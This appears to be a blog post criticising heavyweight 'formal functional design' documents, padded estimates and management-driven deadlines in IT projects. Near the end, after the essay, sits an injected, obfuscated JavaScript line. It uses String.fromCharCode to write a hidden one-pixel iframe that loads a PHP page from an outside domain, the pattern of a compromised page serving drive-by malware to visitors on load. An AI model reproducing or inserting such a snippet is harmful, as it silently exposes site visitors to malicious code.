The

First let me clearly explain what I mean by “formal functional design”. A formal functional design by my standards is a (often pretty hefty) document that is usually conjured up with a combined effort of customer and (IT) management.

After a few exploratory meetings some notes are taken and some worker is assigned the task of coming up with a first draft of the formal functional design to be. Unfortunately, this worker is often some customer’s manager’s manager’s minion. Sometimes one or more developers may be briefly consulted to give a quick estimate but if it is not within expectations of management it is often ignored.

After a few cycles up and down the hierarchy the document is eventually finalized and it is supposed to describe the functional behavior (the way it will interact with users and other systems) that is to be built.

It is precisely after the document is finalized that it shows its evil side. What happens? Both the customer and management agree on some kind of deadline to “build the functional design”.

Management sometimes tries to involve developers into planning these deadlines. Some developers may recognize long arduous sessions which involve discussing and estimating endless lists of use cases. At the end, all the estimates will be summed up, divided by the number of resources available and multiplied by the current slack factor (1.5/2.0) to make up for some kind of deadline target.

Usually, the first estimates with slack would be to royal for management but after another bidding round or two some kind of reasonable total estimate would finally come out and then things could get rolling.

A few weeks before the start of the project each participant is presented with the deadline and a paper vehicle of truth that I call formal functional design and then goes off to his or her thing.

Often, a few weeks later another (sometimes slightly updated) version is distributed. This one is usually neatly bound up and often features full color diagrams to hide the lack of content and impress the unfortunate reader.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment